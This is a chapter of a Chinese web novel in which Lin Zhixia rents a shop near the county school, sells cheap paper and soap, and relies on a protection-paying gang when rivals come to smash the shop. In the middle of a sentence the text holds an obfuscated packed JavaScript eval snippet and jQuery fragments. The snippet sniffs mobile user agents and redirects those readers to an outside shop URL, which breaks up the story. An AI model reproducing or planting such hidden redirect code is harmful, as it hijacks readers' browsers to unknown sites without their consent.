林知夏道:“我觉得县学旁边的铺子也不错,县学的学生有钱啊,而且铺子还比较大,可以隔一个小房间出来,不过不太方便做饭的样子,得在外头吃。”
她想了想,“不然就在县学旁边吧,你和大伯应该都不会做饭。”
林伯安有些心疼银子,“难不成咱们顿顿都在外头吃,那多浪费钱啊,我们不会做饭可以学啊。”
林知夏一时间又有些纠结了。
林伯和道:“我们就租县学旁边的铺子吧,看看能不能搭一个灶台出来。”
林知夏觉得也行,便和他们一起去了县学附近。
能不能搭个灶台,还得问问人家房主的意思。
林知夏和大伯五叔一起来到了县学附近的那家铺子。
铺子的主人正躺在躺椅上,拿着个蒲扇给自己扇风。
林知夏走了过去,“老伯,我们想租你家这店铺。”
铺子的主人是个头发花白的老者,他慢悠悠的起身,指着空荡荡的铺子,“喏,铺子就这么个情况,一年的租金四两半银子,租金年付。”
林知夏想了想,手上不能完全没有银子。
她讨价还价:“能半年一租吗?”
铺子的主人道:“可以,但价钱贵一点,一年五两银子,半年就是二两半。”
林知夏这么问,也是因为之前开店铺的时候,村里人说不知道什么时候他们这儿就会打起来。
一年时间太长,古代又不可能月租,所以林知夏便想着租半年,就算到时候打起来,那也不会亏太多。
至于贵半两银子,那都无所谓。
林知夏又问:“我们可以在门口搭个灶台么?”
铺子的主人道:“随意。”
这人看起来真的挺佛系的,林知夏想着,应该不会有什么纠纷。
林知夏爽快地给了银子,又签了契书。
做完这一切之后,林知夏又去找人做了一个牌匾,名字就是“林记杂货铺”。
只是铺子里太空了,得做几个货架。
林知夏一行人回到村,不少人围了上来。
春花嫂子问:“知夏,你们铺子租好了吗?”
林知夏点点头,“已经租好了,就在县学对面。”
林知夏又跑去找林伯仲,“三伯,铺子里没有货架,这两天你能帮我们打几个货架吗?”
林伯仲当即就同意下来了。
现在林伯仲带了三个徒弟,也有人帮忙了,他们两天做了四个货架,林知夏他们一起搬到了店铺。
牌匾刚挂上去不久,就有三人找上来了。
这些人一个个面相凶狠,穿着麻衣,一个个凶神恶煞地盯着林知夏。
为首的那人下巴上有个肉痣,一双倒三角眼犀利地扫视铺子。
林知夏笑着问:“几位是来做什么的?”
伸手不打笑脸人。
见林知夏笑得甜甜的,为首的那人道:“我们来收保护费的,一个月二两银子。”
林知夏早就做好了准备,不过她问:“你收保护费,若是有人来我们铺子找事,你们真的能帮我吗?”
那三角眼拍着胸脯说:“我们龙虎帮办事,你大可以放心,只要在我们地盘上,没人敢放肆。”
林知夏当即就掏出二两银子出来,笑盈盈的给他们:“那就劳烦你们了。”
三角眼有些奇怪的看向林知夏。
被收保护费还这么开心?
莫不是脑子有问题?
林知夏才不管他们怎么想,龙虎帮在临海县也算是一个大势力了,那些来找茬的人,看见自己在龙虎帮的范围内,应该不会轻易动手。
这会儿已经到了下课的时候,县学的学生都出来了。
林知夏大声喊:“卖纸嘞,所有纸便宜卖!五十文一刀,错过了就得等两天后了!”
原本排队买饭的学生们,一听说这边有便宜纸卖,一下子就凑了过来。
铺子内写字的纸被一扫而空,只剩下几摞卫生纸了。
卫生纸卖得稍微慢一些,不过也很快就卖完了。
林知夏看着入账,笑眯眯地说:“后天再来吧,我们纸卖完了。”
这时,有学生看着他们门上挂着的牌匾,问:
“你们这不是杂货铺吗?只有纸卖?”
林知夏想起还有一大袋子胰子没有摆上来,便说:“暂时卖的东西不多,还有胰子你们要吗?”
学生们都有些好奇:“胰子是什么东西?”
林知夏打了一盆水过来,拿出一个脏兮兮的抹布,用清水洗,怎么也洗不干净,随后她将胰子拿出来搓搓搓,抹布一下子就干净了。
学生们都瞪大了眼。
“这是什么东西,脏东西一下子就洗下去了!”
“好神奇,这东西用来洗衣服正好。”
林知夏道:“不只是洗衣服,还能洗头洗澡的时候用,能洗得干净一些,而且价格也不贵,三文钱一块,现在只有五十块。”
“给我来三块。”
“我要两块。”
“去去去,你们要那么多干啥,就买一块吧,免得后头的同学买不到。”
“我家里人多,三块都嫌不够用!”
“我给我兄长也带一个去。”
不一会儿,胰子很快就被一抢而空。
林知夏道:“过几日会上架胰子,放心吧,量大管够。”
那些没买到的学生这才离开。
林伯安有些佩服地看着林知夏,“知夏,你当真是做买卖的好苗子!”
林知夏笑眯眯地对他说:“是我们的东西好,不然他们不会买账。”
林知夏准备回村了,离开的时候,她还嘱咐林伯和:“五叔,若是纸卖不动了,你去其他几个私塾门口吆喝一声,这么便宜的纸,他们肯定会过来买的。”
林伯和笑盈盈地应下。
等林知夏走了之后,学生们也开始下午的课,林伯和舒舒服服的坐在躺椅上。
这时,有几个眼熟的人拿着棍子过来了。
林伯和皱眉,这几个不是前段时间不让他们摆摊卖纸的人么?
今天他们竟然还要来他们铺子。
为首的光头对着众人说:“砸,都给我狠狠地砸!”
几人一下子就冲进杂货铺。
结果一个个都傻眼了,“老,老大,他们这边好像没什么东西可以砸的。”
光头进来一看,整个人都愣住了。
货
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463392|201284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
架上空空如也,啥都没有。
最后,光头恶狠狠地警告林伯和:“我警告你,别想着继续卖那种便宜的纸,信不信我让你们铺子开不下去?”
林伯和也不甘示弱,“那你倒是来试试。”
他倒要看看,是龙虎帮的人厉害,还是这光头背后的势力厉害。
光头被他的话激怒,抬起手就要揍他。
林伯和对着外头蹲坐在地上吃面的人说:“肖老大,我们铺子被贼人盯上了,快来帮忙啊!”
肖老大就是上午收保护费的那几人。
听见林伯和的呼喊,蹲在地上吃面的男人放下碗就疾步走过来。
那人是肖老大的小弟陈老二。
陈老二看向光头:“刘老三,你们在我们龙虎帮的地盘干啥呢?”
光头,也就是刘老三咬牙说:“他们每月给多少保护费,我们双倍给,我要让他们铺子在这开不下去。”
陈老二翻了个白眼:“一边去,若是我们反悔,以后他们还怎么看我们龙虎帮,他们还怎么可能每个月给我们交保护费?”
光头似乎是有些忌惮陈老二,怎么说陈老二都不听,打定了主意要保林记杂货铺。
光头只好带着兄弟们离开。
林伯和泽斯对着陈老二作揖,“多谢陈二哥,不然咱们铺子怕是要开不下去了。”
陈老二不在意地摆摆手:“小事儿。”
说完就回去继续吃他那碗面了。
林伯安这时才开口:“知夏真厉害,怕是早就料到会发生刚才的事。”
林伯和点点头:“她确实是厉害,我刚才还有些担心陈老二不愿意帮忙呢。”
林伯安憨笑,“明日我给知夏送胰子过去,顺便和她说说今日的事。”
林伯和没意见。
又过了几天,林家的纸卖得速度要慢了一些,之前每次上货瞬间就被买完,这次却是等了一个时辰才买完。
于是,下一批货运到的时候,林伯和让林伯安守铺子,他则是去松山书院那边蹲点。
学生们一出来,他就扯着嗓子喊:“买纸,卖卫生纸,五十文一刀,价格实惠,童叟无欺!”
不少学生都围了过来:“兄弟,你们在哪卖纸?”
林伯和道:“在县学对面的林记杂货铺里卖,除了卖便宜纸,还卖胰子。”
学生们都有些好奇。
胰子是什么东西?
不过他们既然能做出纸,想必那胰子也是不可多得的好东西。
到时候去看!
接下来的两天,林伯和又去白鹿书院和崇文书院门口吆喝。
白鹿书院和崇文书院离得远,他们一开始每次去都扑空,除了休沐那日,天不亮就爬起来到林记杂货铺门口排队等开门。
林伯和一打开门,看见门外排着长长一条队,被吓一跳。
一听说都是来买纸的,林伯和有些为难地说:“这这,实在是没想到生意这么好,没买到的可以等下次再来。”
林伯和嘴上这么说,表情丝毫看不出任何愧疚。
学生们不满地说:“我一个月要用不少纸呢,除了第一次抢到之外,其他时间都没抢到,每次都说等下次,你们家纸怎么做得这么慢?”